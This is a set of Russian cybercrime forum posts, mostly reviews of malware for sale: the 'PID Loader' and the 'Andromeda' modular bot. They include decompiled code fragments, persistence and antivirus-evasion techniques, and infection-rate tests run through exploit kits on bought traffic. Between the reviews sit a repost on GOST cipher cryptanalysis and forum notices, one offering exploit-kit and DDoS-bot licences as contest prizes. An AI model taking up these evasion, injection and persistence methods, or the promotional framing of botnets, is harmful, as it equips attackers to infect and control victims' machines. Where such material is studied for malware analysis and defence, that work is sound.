anti_emulation это три цикла длинной 0x2FFFFF раз с вызовом Sleep(0), видимо помогая, потом в get_apis собственно получаются необходимые апихи, кстати все тектовые строки поксорены и предварительно декриптуются в память, сказать по правде тут все закидывается в выделенную память, по феншую так сказать, стек почти не юзается. А в get_apis_again получаются оставшиеся апихи, причем крайне извратно, до вызова GetProcAddress строку декриптуют но ни как до этого выделяют память и туда собственно ксорят, а создают тред который по сути крутится в цикле пока глобальное значение установлено в 1, потом с помощью SuspendThread/ResumeThread/GetThreadContext дергая их по очереди убеждаются что тред висит внутри нашего модуля, а не где то там, меняют eip += 0x40 через SetThreadContext, дабы управление передалось на код который собственно уже декриптует строку и находится ниже этой пустой функи.

Код:
    CODE:0040274A                 mov     eax, [ebp+8]
    CODE:0040274D                 add     eax, 4
    CODE:00402750                 mov     [ebp-4], eax
    CODE:00402753                 mov     esi, [ebp-4]
    CODE:00402756                 mov     edi, [ebp-4]
    CODE:00402759                 push    dword ptr [ebp-4]; lpString
    CODE:0040275C                 call    lstrlenA
    CODE:00402761                 mov     ecx, eax
    CODE:00402763
    CODE:00402763 loc_402763:                            ; CODE XREF: decrypt_str_thread+21j
    CODE:00402763                 lodsb
    CODE:00402764                 xor     al, ds:byte_405004
    CODE:0040276A                 stosb
    CODE:0040276B                 loop    loc_402763
    CODE:0040276D                 push    0
    CODE:0040276F                 call    ds:pExitThread

Круто нереально, только не понятно зачем, мб опять же антиэмуляция или мб что бы отпугнуть реверсеров.

В общем после проверив наличие евента, дабы не пустить вторую копию, бот ставится в реестр software\microsoft\windows\currentversion\run под именем PID, причем бот не очень морочится с копирование себя куда то там, где лежал там и будет лежать, пишет в реестр то что вернет GetModuleFileName. Обычно связки юзают UrlDownloadToFIle а значит лоадер появится где то в кеше ишака, при запущенном процессе его врядли смогут грохнуть очисткой кеша, хотя хз.

Код:
      if ( !pOpenEvent(0x100000u, 0, off_405138) )  // xwcsnxcirm
      {
        g_master_event = pCreateEvent(0, -1, 0, off_405138);
        install_check_n_install_to_reg(v0);
        create_thread_ex((int)kill_taskmgr, 0, 0);
        get_guid();
        decrypt_http_strs(v1);

Пуск треда kill_taskmgr обеспечивает собственно своевременное убийство task managera дабы юзер много не думал о том что это за load[1].exe в процессах.

Код:
      while ( 1 )
      {
        v9 = pGetForegroundWindow();
        if ( v9 != v10 )
        {
          v10 = v9;
          pGetWindowsThreadProcessId(v9, &v8);
          v7 = pOpenProcess(2035711, 0, v8);
          if ( v7 )
          {
            pEnumProcessModules(v7, &v3, 1024, &v6, v2[0]);
            pGetModuleFileNameExA(v7, v3, v2, 256);
            pCloseHandle(v7, v2[1]);
            v1 = pstrrch('\\', (const CHAR *)v2);
            v5 = sum((int)v2, v1 + 1);
            if ( strstri((const CHAR *)v5, psz_taskmgr_exe) == 1 )
              ExitProcess(0);
          }
        }
        Sleep(0xAu);

По поводу обходов, я их не нашел, бот декриптует необходимые ему строки для хттп запросов и тупо ломится по своим урлам, потом он видимо получается всякие нужные команды и начинает их запускать. В ответ идет страница Not Found где ниже в невидимом div'е идут уже команды.

• Пробив со связки 85-90% - до многих уже дошла мысль, чем проще бот тем он надежднее а значит выше отстук, хотя попробуйте полить его по юса, не так все будет
• Обход UAC - обхода юака нету, его юзают то парочка другая ботов, за счет экспов повышения привилегий, тут же все действия не затрагивают юак, а значит не вылетает никаких окошек
• Обход проактивных защит антивирусов
• Обход большинства фаерволов. - опять же видимо из-за топорности, ав и фв не интересно в этим возиться
• Невидимость в системе - это наверное kill_taskmgr
• При блокировке основного домена, бот переходит на резервный. - ах да есть пару доменов

+ всякие хеки админки обычные для лоадеров, хотя саму админку я не видел

В общем если выкинуть весь лишний мусор, оптимизировать код и собрать в нормальном компиляторе ( это я все еще про то что не юзается стек для передачи параметров ), то вся эта байда поместится в 5-6кб.


Коментарии автора к реверсу:
1. реверсер немного не прав, таксменеджер не убивается, а наоборот, при вызове оного бот прячется, тоесть уходит в офф до перезагрузки
2. Бага с вызовом функций по неопределенным адресам, при невозможности выделения памяти в куче в начале программы - пофиксена, спасибо.

---==Тесты==---
Тут автор нервничал что может получиться ситуация аналогичная myLoader + eleonore exploit. У меня абсолютно случайно (ну так совпало) получилось провести все тесты на трех разных связках. Думаю это будет достаточно объективно.
Все тесты проводились на одном и том же трафе, любезно предоставленным Gdark. Трафик iframe, mix, adalt+развлекательный.
Все тесты проводились по схеме Связка=>PID Loader=>Стукач
Дабы небыло повторных лоадов старыми ботами нового задания статы старался не очищать.

Тест №1 на Eleonore Exploit Pack 1.6.4
отгружено по стате связки 641
отстучалось по стате лоадера 325-35=293 (35 это проверки на отстуки, фаерволы, и крипт.)
отстук составляет 45,7%

отгружено по стате лоадера 321 бот
Отстучалось по стате стукача 222 бота
Отстук стукача составил 69,15%

Скрины сделаны через 30 мин после окончания прогруза: Отгружено со связки | Отстучалось в админку | Отгружено с лоадера

Тест №2 на Nuclear Exploit
Отгружено по стате связки 878
отстучалось по стате лоадера 808-325=483
отстук составляет 55%

отгружено по стате лоадера 770-321=449 бот
Отстучалось по стате стукача 347 ботов
Отстук стукача составил 77,28%

Скрины сделаны через 10 часов после окончания прогруза: Отгружено со связки | Отстучалось | Отгружено с лоадера

p.s. После этих двух тестов выяснили, что при текущем крипте файл криво работает на Windows 7. Файл тихо стартует и тут же умирает (проверял лично несколько раз).
Сделали новый крипт. Заново все перепроверили.


Тест №3 лоадер через лоадер
т.к. живых ботов в админке практически не осталось - стату обнулил для удобства подсчета.

Отгружено по стате сервиса 547-14=533
отстучалось по стате лоадера 502-27=475
отстук составляет 89,11%

отгружено по стате лоадера 493-26=467 ботов
Отстучалось по стате стукача 377 ботов
Отстук стукача составил 80,72%

Скрины сделаны через 1 час после окончания прогруза: Стата сэллера до прогруза | Стата сэллера после прогруза | Лоадер до прогруза | Лоадер после прогруза | Стата отгрузки до | Стата отгрузки после
Скрины сделаны через 1 сутки после окончания прогруза: стата | Выполнение задания


Тест №4 на Katrin Exploit
p.s. всвязи с тем что в процессе загрузок домен спалился пришлось разбить по двум статам. Разница в пробиве автором связки объясняется различными наборами сплоитов. Во втором тесте был подключен новый Java-сплоит.
[15:09:39] <Ar3s> Тут еще один вопрос выплыл. Стал анализировать цифры и вышла такая математика.
Траф один и тот же. Поток не менялся.
НА первой связке 11,44%
На второй связке 21,41%
Почему такая разница????
[15:10:03] <blackkat> джаву поставил
[15:10:10] <blackkat> новую потестил
[15:10:21] <blackkat> последнюю из метасплоита которая
[15:10:41] <blackkat> на втором домене
[15:10:51] <blackkat> не знаю как стучит правда
[15:10:57] <Ar3s> Java OBE?
[15:10:59] <blackkat> но пробивает красиво
[15:11:10] <blackkat> ну я ее по старинке обозвал
[15:11:14] <blackkat> это не обе
[15:11:25] <blackkat> что в админке не менять
[15:11:35] <blackkat> поставил обеешный линк
[15:12:06] <Ar3s> ясн

Отгружено по стате связки 270+498=768
отстучалось по стате лоадера 1144-502=642
отстук составляет 83.59%

отгружено по стате лоадера 1106-547=549 ботов
Отстучалось по стате стукача 351 бот
Отстук стукача составил 63,93%

Скрины сделаны через 30 минут после окончания прогруза: Катрина до | Катрина, 1 часть | Катрина, 2 часть | Отстучалось | Стукачик

---==Заключение==---
Кое-что из наших бесед с автором:

5777677 (21:57:19 5/04/2011) обходов у тебя нет. Просто проактивки не реагуруют на твой продукт т.к. он не инжектится никуда и не агрессивен в системе. А это разные вещи.
salatin (22:05:05 5/04/2011)
В билде вшит наш личный метод обхода (КИС), метод я раскрывать не хочу. Суть его заключается в том, что мы исследовали как реагирует на ту или иную ситуацию данный АВ. И составили программно логическую модель, что КИС его кидает в слабые ограничения. Все тесты проводились нами на KIS 8. Так уж сложилось, что он пложительно влияет на остальные фаеры. И еще, а разве обходы обязательно должны быть какими-то сплоитами/руткитами? Как по мне, то обход - есть факт того, палит ли фаер прогу. если нет, значит прога его обходит.


Плюсы: маленький размер, обходы, легко криптуется, не содержит dll/драйверов и прочей мути. Правильно выполняется задание. У меня на стате лоадера при быстром прогрузе задание всегда немного перевыполнялась, собственно как оно и должно было быть.
Минусы: плохая живучесть. Спустя сутки я не видел более сотни ботов онлайн. Зачастую было 20-90 хотя в общей сложности было прогружено 1914 ботов, не считая мелочевки для проверки правильности крипта. И даже после того как решили исключить влияние моего хоста и настроенного nginx путем установки админки на дешевый хостинг и перебивки доменов на новый ip - ситуация не изменилась. Хотя автор утверждает, что на его хосте отстук и живучесть на высоте. Давал мне доступ к своей админке в которой было немало ботов. Притом не только что загруженных. И онлайн было очень много даже из тех, что были прогружены более 3 суток назад. Вобщем, я не знаю какой вынести вердикт в этом случае и, как апогей, я опираюсь на свою админку и свои показатели.

Пара слов об авторе: Адекватен. На все мои замечания реагировал очень быстро. Активно участвовал в обзоре.
p.s. у меня чуство, что после обзора он активно сядет сам за тесты и добьется отличных показателей.

---==Благодарности==---
Salatin, EL-, Gdark, HTC и всем читателям xss.pro/

Записки на полях специально для xss.pro/
 
098bd59739fa0944f96e3b49af59b727.jpg


Известный исследователь, основоположник алгебраического криптоанализа Николя Куртуа утверждает, что блочный шифр ГОСТ, который в ближайшее время должен был стать международным стандартом, фактически взломан и ожидает в дальнейшем множества публикаций, которые должны развить его идеи о нестойкости этого алгоритма.

Далее приведены краткие выдержки из этой работы, которую можно рассматривать как алармистский выпад в разгаре международной стандартизации (схожими преувеличениями автор был известен и в отношении AES, однако его работы тогда оказали большое теоретическое влияние на криптоанализ, но так и не привели на сегодняшний момент к практическим атакам на сам AES). Но, возможно, это и реальное предупреждение о начале этапа "пикирующего в штопор самолёта", которое может закончиться крахом национального стандарта шифрования, как это было с алгоритмом хэширования SHA-1 и алгоритмом хэширования "де-факто" MD5.

ГОСТ 28147-89 был стандартизирован в 1989 году и впервые стал официальным стандартом защиты конфиденциальной информации, но спецификация шифра оставалась закрытой. В 1994 году стандарт был рассекречен, опубликован и переведён на английский язык. По аналогии с AES (и в отличие от DES), ГОСТ допущен к защите секретной информации без ограничений, в соответствии с тем, как это указано в российском стандарте. Т.о. ГОСТ — это не аналог DES, а конкурент 3-DES с тремя независимыми ключами или AES-256. Очевидно, что ГОСТ — это достаточно серьёзный шифр, удовлетворяющий военным критериям, созданный с расчётом на самые серьёзные применения. По крайней мере два набора S-блоков ГОСТа были идентифицированы на основе приложений, используемых российскими банками. Эти банки нуждаются в проведении секретных коммуникаций с сотнями филиалов и защите миллиардов долларов от мошеннических хищений.

ГОСТ — это блочный шифр с простой структурой Файстеля, с размером блока 64 бита, 256-битным ключом и 32 раундами. Каждый раунд содержит сложение с ключом по модулю 232, набор из восьми 4-битных S-блоков и простой циклический сдвиг на 11 битов. Особенностью ГОСТа является возможность хранения S-блоков в секрете, что можно представить как второй ключ, увеличивающий эффективный ключевой материал до 610 битов. Один набор S-блоков был опубликован в 1994 году в рамках спецификации хэш-функции ГОСТ-Р 34.11-94 и, как писал Шнайер, использовался Центральным Банком Российской Федерации. Он также вошёл в стандарт RFC4357 в части "id-GostR3411-94-CryptoProParamSet". В исходных кодах в конце книги Шнайера была ошибка (в порядке S-блоков). Наиболее точную эталонную реализацию исконно российского происхождения сейчас можно встретить в библиотеке OpenSSL. Если где-то применяются секретные S-блоки, то они могут быть извлечены из программных реализаций и из микросхем, по факту чего были опубликованы соответствующие работы.

ГОСТ — серьёзный конкурент

В дополнение к очень большому размеру ключа, GOST имеет значительно более низкую стоимость исполнения по сравнению с AES и какими-либо ещё сходными системами шифрования. В действительности, он стоит намного меньше AES, которому требуется в четыре раза больше аппаратных логических вентилей ради значительно меньшего заявленного уровня безопасности.

Неудивительно, что ГОСТ стал интернет-стандартом, в частности, он включён во многие криптобиблиотеки, такие как OpenSSL и Crypto++, и становится всё популярнее за пределами страны своего происхождения. В 2010 году ГОСТ был заявлен на стандартизацию ISO как всемирный стандарт шифрования. Крайне малое количество алгоритмов смогли стать международными стандартами. ISO/IEC 18033-3:2010 описывает следующие алгоритмы: четыре 64-битных шифра — TDEA, MISTY1, CAST-128, HIGHT — и три 128-битных шифра — AES, Camellia, SEED. ГОСТ предлагается добавить в этот же самый стандарт ISO/IEC 18033-3.

Впервые в истории промышленной стандартизации мы имеем дело со столь конкурентоспособным алгоритмом в терминах оптимальности между стоимостью и уровнем безопасности. ГОСТ имеет за собой 20 лет попыток криптоанализа и до недавних пор его безопасность военного уровня не подвергалась сомнению.

Как стало недавно известно автору из приватной переписки, большинство стран высказались против ГОСТа на голосовании ISO в Сингапуре, однако результаты этого голосования будут ещё рассматриваться на пленарном заседании ISO SC27, так что ГОСТ всё ещё находится в процессе стандартизации на момент публикации этой работы.

Мнения экспертов по поводу ГОСТ

Ничто из имеющихся сведений и литературы по поводу ГОСТа не даёт оснований полагать, что шифр может быть небезопасным. Наоборот, большой размер ключа и большое число раундов делают ГОСТ, на первый взгляд, подходящим для десятилетий использования.

Все, кому знаком закон Мура, понимают, что, в теории, 256-битные ключи останутся безопасными по крайней мере 200 лет. ГОСТ был широко исследован ведущими экспертами в области криптографии, известными в области анализа блочных шифров, такими как Шнайер, Бирюков, Данкельман, Вагнер, множеством австралийских, японских и российских учёных, экспертами по криптографии от ISO, и все исследователи высказывались, что всё выглядит так, что он он может быть или должен быть безопасным. Хотя широкого понимания достигло мнение, что сама по себе структура ГОСТа крайне слаба, например, по сравнению с DES, в частности, диффузия не настолько хороша, однако это всегда обуславливалось тем, что это должно компенсироваться большим числом раундов (32), а также дополнительной нелинейностью и диффузией, обеспечиваемой сложением по модулю.

Бирюков и Вагнер писали: "Большое число раундов (32) и хорошо изученная конструкция Фейстеля, сочетаемая с последовательными Шенноновскими подстановками-перестановками, обеспечивают солидную основу безопасности ГОСТ". В той же самой работе мы читаем: "после значительных затрат времени и усилий, никакого прогресса в криптоанализе стандарта в открытой литературе достигнуто не было". Таким образом, не было никаких существенных атак, которые позволяли бы дешифрование или восстановление ключа в реалистичном сценарии, когда ГОСТ используется в шифровании со множеством разных случайных ключей. В противоположность этому, известно очень много работ по атакам на слабые ключи в ГОСТ, атаки со связанными ключами, атаки на восстановление секретных S-блоков. На Crypto-2008 был представлен взлом хэш-функции, основанной на этом шифре. Во всех атаках атакующий имеет значительно больший уровень свободы, чем ему обычно допускается. В традиционных применениях шифрования с использованием случайно выбираемых ключей до настоящего момента никаких серьёзных криптографических атак на ГОСТ найдено не было, что в 2010 году выражалось итоговой фразой: "несмотря на существенные усилия криптоаналитиков за прошедшие 20 лет, ГОСТ всё ещё не взломан" (Axel Poschmann, San Ling, and Huaxiong Wang: 256 Bit Standardized Crypto for 650 GE GOST Revisited, In CHES 2010, LNCS 6225, pp. 219-233, 2010).

Линейный и дифференциальный анализ ГОСТ

В широкоизвестной книге Шнайера мы читаем: "Против дифференциального и линейного криптоанализа ГОСТ вероятно более устойчив, чем DES". Основную оценку безопасности ГОСТа дали в 2000 году Габидулин и др. Их результаты очень впечатляющи: при заложенном уровне безопасности 2256, достаточно пяти раундов для защиты ГОСТа от линейного криптоанализа. Более того, даже при замене S-блоков на тождественные и единственной нелинейной операции шифра — сложения по модулю 232 — шифр всё равно стоек против линейного криптоанализа после 6 раундов из 32. Дифференциальный криптоанализ ГОСТа выглядит сравнительно более лёгким и привлекает больше внимания. Для 2128 уровня безопасности исследователи (Vitaly V. Shorin, Vadim V. Jelezniakov and Ernst M. Gabidulin: Linear and Differential Cryptanalysis of Russian GOST, Preprint submitted to Elsevier Preprint, 4 April 2001) предполагали достаточную стойкость на уровне 7 раундов. По их утверждению, взлом ГОСТа более чем на пяти раундах "крайне труден". Более того, двое японских исследователей показали, что классическая прямая дифференциальная атака с одной дифференциальной характеристикой имеет крайне малую вероятность для прохождения через большое число раундов. На основе факта изучения достаточно "хорошей" итеративной дифференциальной характеристики для ограниченного числа раундов (которая сама по себе имеет вероятность прохождения не лучше 2-11.4 на раунд), получено значения множества подходящих ключей менее половины. Для полнораундового ГОСТа такая атака с единственной характеристикой будет работать лишь с ничтожно малой частью ключей порядка 2-62 (и даже в этой малой части она будет иметь вероятность прохождения не более 2-360).

Более сложные атаки включают множества дифференциалов, следующих определённым паттернам, например с использованием отдельных S-блоков, имеющих нулевые дифференциалы, в то время как на других битах имеются ненулевые. Речь об атаках-различителях, основанных на плохих диффузионных свойствах ГОСТа. Лучшая из таких атак работает против 17 раундов ГОСТа, зависит от ключа и имеет сама по себе на выходе крайне слабый различитель от случайных данных, чтобы его как-то можно было использовать для получения информации о ключе.

Атаки скольжения и отражения

Согласно Бирюкову и Вагнеру, структура ГОСТа, включающая обратный порядок подключей в последних раундах, делает его стойким против атак скольжения (т.н. "слайд-атаки"). Однако из-за наличия большой величины самоподобия в шифре, это позволяет проводить атаки инверсии ключей на комбинации неподвижных точек и свойства "отражения" (т.н. "рефлективные атаки") для определённых слабых ключей. Сложность этой атаки 2192 и 232 подобранных открытых текстов.

Последние результаты

Новые атаки также используют отражение и фактически взломали ГОСТ, что и было представлено на конференции FSE 2011. Эти атаки также были открыты независимо автором данной работы. Атака требует 2132 байтов памяти, что фактически хуже, чем более медленные атаки с меньшим требованием к памяти.

Множество новых атак на основе самоподобия работают против всех ключей ГОСТа и позволяют взламывать полнораундовый ГОСТ с 256-битным ключом, а не только для слабых ключей, как было ранее. Все эти атаки требуют значительно меньше памяти и они значительно быстрее.

Эти новые атаки могут рассматриваться как примеры новой общей парадигмы криптоанализа блочных шифров, называемой "редукция алгебраической сложности", с обобщением этих атак на множество частных случаев атак с известными неподвижными точками, скольжением, инволюциями и циклами. Важно, что среди семейства всех этих атак есть такие, которые позволяют проводить криптоанализ ГОСТ без всяких отражений и без каких-либо симметричных точек, которые проявляются в ходе вычислений. Одним из примеров является простая атака взлома ГОСТа без отражений в данной работе.

Алгебраический криптоанализ и атаки с небольшой сложностью данных на шифры с уменьшенным числом раундов

Алгебраические атаки на блочные и потоковые шифры могут быть представлены в виде проблемы решения большой системы Булевых алгебраических уравнений, которая следует геометрии и структуре частной криптографической схемы. Сама идея восходит к Шеннону. На практике была представлена для DES (впервые представлена автором данной работы) как метод формального кодирования и может взламывать 6 раундов всего на одном известном открытом тексте. Манипуляция с уравнениями происходит на основе алгоритмов XL, базисов Грёбнера, метода ElimLin, SAT-решателей.

На практике алгебраические атаки реализованы против очень малого числа раундов блочных шифров, но уже приводили к взломам потоковых шифров, также есть и успехи во взломе сверхлёгких шифров для микрооборудования. Из-за трудностей в объёмах памяти и оценках затрат на вычисления их комбинируют с другими атаками.

Как взломать ГОСТ?

Алгебраическая атака на полнораундовый ГОСТ более подробно представлена в рассматриваемой публикации. В предыдущей работе автор уже изложил 20 алгебраических атак на ГОСТ и ожидает большого их числа в ближайшем будущем. Атака, предложенная в данной работе — не лучшая из них, но открывает простой (по крайней мере для понимания криптографами) путь для последующих разработок для создания специфичной методологии к взлому ГОСТа.

Практический результат пока скромен: 264 известных открытых текста и 264 памяти для хранения пар "открытый текст/шифртекст" позволяют взломать ГОСТ в 28 быстрее, чем простой перебор. Но в плане криптоанализа это делает полностью справедливым утверждение о том, что "ГОСТ взломан".

Выводы

ГОСТ спроектирован на обеспечение военного уровня безопасности на 200 лет вперёд. Большинство ведущих экспертов, изучавших ГОСТ, приходили к соглашению о том, что "несмотря на значительные криптоаналитические усилия на протяжении 20 лет, ГОСТ всё ещё не взломан". В 2010 году ГОСТ продвигают в ISO 18033 в качестве мирового стандарта шифрования.

Основа идей об алгебраическом криптоанализе возникла более 60 лет назад. Но только лишь за последние 10 лет были разработаны эффективные программные средства (частичного) решения множества NP-полных проблем. Было взломано некоторое число потоковых шифров. Только один блочный шифр был взломан этим методом — сам по себе слабый KeeLoq. В этой работе автор взламывает важный, реально используемый шифр ГОСТ. Он отмечает, что это первый случай в истории, когда алгебраическим криптоанализом был взломан стандартизированный государственный шифр.

Простая атака "MITM с отражением" на ГОСТ уже представлена на конференции FSE 2011. В работе же, рассматриваемой в данной статье, представлена другая атака лишь для иллюстрации факта того, как много атак на ГОСТ уже появилось сейчас, многие из которых быстрее, а сама алгебраическая атака требует намного меньше памяти и открывает практически неисчерпаемое пространство возможностей для противника, атакующего шифр разными способами. Также в данной работе показано отсутствие необходимости использования свойства отражения для взлома.

Автор утверждает: очевидно, что ГОСТ имеет серьёзные изъяны и теперь не обеспечивает уровня стойкости, требуемого ISO. Множество атак на ГОСТ представлено в рамках подтверждения парадигмы редуцирования алгебраической сложности.

Напоследок исследователь особенно отмечает некоторые факты, которые пока недоступны читателю, но известны исследователю, являющиеся важными в ходе процесса стандартизации ISO. Данная атака — не просто "сертификационная" атака на ГОСТ, которая быстрее перебора грубой силой. Фактически, стандартизация ГОСТа сейчас была бы крайне опасной и безответственной. Это так потому, что некоторые из атак возможны к осуществлению на практике. Некоторые ключи ГОСТа на практике даже могут быть дешифрованы, будь они слабые ключи или ключи из частных реальных применений ГОСТа. В предыдущей работе автор приводит детальное рассмотрение случаев возможности практических атак. Важно также то, что "это первый случай в истории, когда серьёзный стандартизированный блочный шифр, созданный для защиты секретов военного уровня и предназначенный для защиты документов государственной тайны для правительств, крупных банков и других организаций, оказался взломан математической атакой".

Источник SecurityLab
 
wiki.thumbnail.jpg

С сегодняшнего дня официально считается открытой Xak-wiki проект от xss.pro/
Размещается он по адресу Xiki.dlab.org.in
Любой желающий может писать для него материалы и размещать. Все размещения жестко будут модерироваться и, в случае необходимости, правиться мной лично. После того как я посчитаю материал законченным я заблокирую возможность его правки.

Основная цель - остановить огромное количество однотипных вопросов от посетителей форумов и собрать основные описательные моменты в одном центральном хранилище.

Небольшая справка по размещению:
1. регистрируетесь на сайте
2. Заходите на главную страницу, вместо "Заглавная_страница" в адресной строке браузера пишете кратко название материала. (например: Троян)
3. в открывшемся окне нажимаем создать и пишем материал.
4. Информируем меня в личку или асю/жабу о размещенном материале. Я смотрю, правлю, закрепляю.
 
hlstartupsupport.jpg
Свершилось! Стартовал наш первый квест!
Мы долго к этому шли и готовились и наконец-то я решил дать старт. Делаю это с гордостью и некоторым трепетом. Естественно, опасаюсь, что первый блин может выйти комом, но надеюсь на лучшее. Думаю вам будет интересно!

Итак - призы:
doubleVPN - предоставят оплаченный аккаунт [подтверждено]
cmd5.ru - предоставят оплаченный аккаунт [подтверждено]
Katrin Exploit pack - предоставят оплаченный аккаунт [подтверждено]
MPR (passrecovery.com) - лицензия [подтверждено]
Optima ddos bot - лицензия [подтверждено]
Ziframer 2 - Лицензия [подтверждено]
Dloader resident - лицензия без модулей. [подтверждено]

Победитель - получает три приза из списка на свое усмотрение!
Второе место - получает два приза из списка на свое усмотрение!
Третье место - получает один приз из списка на свое усмотрение!
Четвертое место - получает утешительный оставшийся приз!

!!!Важно! - обсуждать задания запрещено! Только я могу давать подсказки. Либо по моему разрешению к теме может подключиться человек составлявший задание.
Прохождение тимами запрещено! И проверка прохождения будет осуществляться в полном объеме.
Возможно, если задания окажутся слишком сложными - этот пункт будет изменен.

Не нужно писать мне в icq/jabber. Ни в одном задании этого не требуется.
Не нужно ддостить сервер. Я тут же остановлю квест. Сделаете хуже только себе.
В процессе прохождения желательно висеть в конференции damagelab@conference.dlab.org.in Первые подсказки будут публиковаться именно там.

Для начала участия необходимо написать в этой теме START damagelab quest!

p.s. всем приятного прохождения и удачи.
Start
 
563.jpg
В связи с участившимися случаями спама на форуме временно введена активация аккаунтов администрацией. Спасибо.

p.s. пути решения проблемы известны, но подбираю оптимальный вариант.
 
sysadminday.jpg
Всех посетителей и мемберов xss.pro/ поздравляю с днем системного администратора.
В это замечательный день желаю всем не напрягаться и получать исключительно поздравления.
Широкого всем канала и маленького пинга.
С праздником друзья!
 
logovj.png
И снова здравствуйте!
На волне лета и всеобщего упадка сил хочется не спеша лежать на пляже и потягивать текиллу с лимончиком, но хочу огорчить вас.
Пока вы балдеете - конкуренты качаются. Поэтому хочу взбодрить вас и рассказать о новом лоадере.

Итак встречаем andromeda!
Краткая информация:
Автор - waahoo
Контакты:
jabber: waahoo@exploit.im
Профиль: waahoo
Топик о продаже: Топик
Описание от автора:
Универсальный модульный бот. На основе этого продукта можно построить ботнет с безгранично разнообразными возможностями. Функционал бота расширяется с помощью системы плагинов, которые могут быть подгружены в нужном количестве и в любое время. Есть лоадер, изначально задумывалось поставлять лоадер в качестве отдельного плагина, сейчас же прогруз добален в базовый функционал.
Существует две версии бота:
01.* с паблик инжектом (используется QueueUserAPC)
  • Не ограниченная по количеству поддержка резервных доменов.
  • Модульный. Вы сами можете перепрофилировать свой ботнет под Ваши нужды в любое время.
  • В системе не агресивен, для установки не требуются права администратора, окно UAC не выскакивает.
  • Защищает себя, не подготовленный юзер не сможет удалить бота из системы.
  • Обходит фаерволы, не палится в процессах, используется инжект в доверенный процесс.
  • Не выбрасывает из себя никаких DLL, не содержит TLS, легко криптуется.
  • Работает на линейке от WinXP до Win7. Корректно работает на серверных ОС в разных сессиях.
  • Малый размер, полностью написан на ассемблере. (не ZeuS ёпта, расслабтесь))
02.* с приватным инжектом, отличается от первой пробивом проактивных защит.
Мои тесты:
  • Comodo Internet Security - палит создание процесса, инжект не видит.
  • Outpost Security Suite Pro 7 - не палит
  • Kaspersky Internet Security 2011 - не палит
  • ESET NOD32 Smart Security 4.2 - не палит
  • avast! Internet Security 6 - не палит
  • Avira Premium Security Suite - не палит
По второй версии бота также следует добавить, что криптовать я ее буду сам (первое время), дабы недопустить утечку метода в паблик, поэтому возможны задержки с получением билда второй версии.

Панель управления:
Написана на PHP в связке с MySQL.
  • Определение ботов находящихся за NAT.
  • Подсчет статистики по ботнету. Боты онлайн/боты оффлайн/мертвые боты/статистика по странам/статистика по платформам.
  • Подсчет количества выполненных/не выполненных задач.
  • Можно установить лимит на количество выполнений конкретной задачи.
  • Распределение задач по странам.
  • Удаление всей статы/удаление мертвых ботов из базы.
  • Работа с базой данных максимально оптимизированна, теоритически админка выдержит очень большие нагрузки, хотя тесты и время покажут.
Установка админки не требует наличия особенного мозга, нужно выполнить два скрипта и поправить конфиг.
Скриншоты админ панели:





PS:
В ближайшее время ожидайте выхода в свет следующих плагинов: Formgrabber (HTTPS,ie,ff), HTTP Replace (ie,ff,opera,chrome) - подмена выдачи... to be continued...

Ценники:
01.* - 300$
02.* - 900$
Ребилд на новый домен (основной) - 30$
Каждый дополнительный домен - 10$
Socks4 плагин, без бекконнекта - 50$

------==Установка==------
Ну здесь вопросов не возникло. Все как бы банально и как у всех. Заливка файлов на ftp, установка прав, создание БД.
установка:
скопировать файлы php и inc
Запустить install и import
У меня ушло минуты 2-3.
Рис.1

------==Подготовка билда==------
В поисках крипта я в очередной раз вынужден был обратиться к паблик сэллерам. Мой знакомый появлялся крайне редко. Пришлось крутиться.
В итоге первый же криптер все сделал. Файл был проверен и работал. (приключения начались позже с этим билдом, о чем я конечно же не забуду написать.)
Вес билда - 8,2 кб.
Вес криптованного билда 23,5кб.
------==Реверс==------
Наш друг и товарищ el- был в очередной раз привлечен к реверсу. За что ему огромное спасибо и вечный почет. :)

И так, все начинается с проверки является ли данная ось 64 разрядной по средством вызова IsWow64Process из импорта, и если нет, то все завершается, тут сразу два минуса, первый это конечно то, что не поддерживается 64 разрядная ось, коих сейчас вагон и маленькая тележка в трафе, а вторая то что апиха дергается из импорта, а если верить msdn Minimum supported client: Windows Vista, Windows XP with SP2, бинарник просто не запустится на осях ниже, в самом msdn советуют дергать её динамически. Дальше идет разделение, вернее отличие простой версии от той которая с обходами в первой используется обычный на сегодняшний день обход с CreateProcess("svchost.exe",CREATE_SUSPENDED)/NtMapViewOfSection/QueueUserAPC/ResumeThread, во второй же используется похожая техника с небольшими исправления, т.к. не используется QueueUserAPC. Кстати она ( эта техника ) недавно продавалась expl0der'ом и была вроде как описана Clerk'ом на wasm'е, так что опять же ничего особенного, но подробности я раскрывать не буду. В общем благодаря этим инжектам, в созданный процесс svchost'а попадает базонезависимый код, который распаковывает дллку, настраивает её в памяти и передает управление на мейн. Еще один минус, коим страдает сейчас большинство софта, это отсутствие проверки на низкий integrity level и попытки поднять его до нормального, такое произойдет ( произойдет обязательно, в большом количестве случаев ) когда такой лоадер запустится пробив internet explorer 7 и выше на vista/windows 7 с включенным protected mode. ( подробнее тут http://msdn.microsoft.com/en-us/library/bb...2(v=vs.85).aspx ) Об этом по сути должен думать на равне с кодером лоадеров ( софта ), кодеры связок, но почему то всем пофигу.

В самой длл, первый делом пытается получить переменную среды с именем src по средством GetEnvironmentVariable ( надо сказать что эта переменная заполняется до инжекта, в ней содержится путь до бинарника ), если такая переменная есть, а так же в реестре HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows:Load уже не прописан бот, то он туда прописывается, ключу выставляется DACL для HKCU D:(A;;KA;;;WD) KEY_ALL_ACCESS Everyone или "D:(A;;KRWD;;;WD) KEY_READWRITE_DELETE Everyone если первый выставить не получается, потом бинарник копируется в %USERPROFILE%\\Local Settings\\Temp с рандомным именем, так же бинарнику выставляется FILTIME svchost'а дабы не выделятся из толпы, у файла удаляется ntfs stream :Zone.Identifier ( подробнее тут http://hex.pp.ua/Zone.Identifier.php ), потом исходный бинарник грохается, а новый открывается дабы его никто не мог открыть пока бот висит.

После проверив наличие другана в системе, а именно не создан ли уже mutex andromeda и если такого не нашли стартует winsock и из ресстра HKEY_CURRENT_USER\\Software\\Microsoft\\andromeda читаются плагины, которые туда видимо записываются одной из команд лоадера.

Код:
LSTATUS __cdecl load_plugins()
{

  dwIndex = 0;
  result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\andromeda", 0, 0, 0, 0x20019u, 0, &hKey, 0);
  if ( !result )
  {
    while ( 1 )
    {
      cchValueName = 12;
      v1 = RegEnumValueA(hKey, dwIndex, &ValueName, &cchValueName, 0, 0, 0, &cbData);
      if ( v1 == ERROR_NO_MORE_ITEMS )
        break;
      if ( v1 )
        break;
